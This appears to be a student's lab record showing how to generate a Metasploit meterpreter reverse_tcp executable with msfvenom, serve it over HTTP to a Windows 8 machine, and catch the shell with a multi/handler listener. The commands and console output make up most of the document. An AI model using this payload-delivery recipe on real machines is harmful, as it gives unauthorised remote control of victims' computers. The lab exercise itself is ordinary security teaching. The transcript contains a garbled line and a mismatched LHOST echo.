

**231901051**

**Date:18/10/24**

# METASPLOIT

**Aim:**

To set up Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely.

### Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
10. Delete the created directory.

**Output:**

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hj.exe
```

[ - ] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

```
[-] No arch selected, selecting arch: x86 from the payload
```

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes

```
root@kali:~# msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection refused
```

Is the server running on host "localhost" (::1) and accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

**[ - ] \*\*\***

[illegible]

```
= [ metasploit v5.0.41-dev ]
```

+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]

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+ -- ==[ 556 payloads - 45 encoders - 10 nops ]  
+ -- ==[ 4 evasion ]

```

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
-----	-----	-----	-----

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
----	-----
0	Wildcard Target

```

msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

```

[\*] Started reverse TCP handler on 172.16.8.155:443

**Result:** Thus, the setup of Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been executed successfully.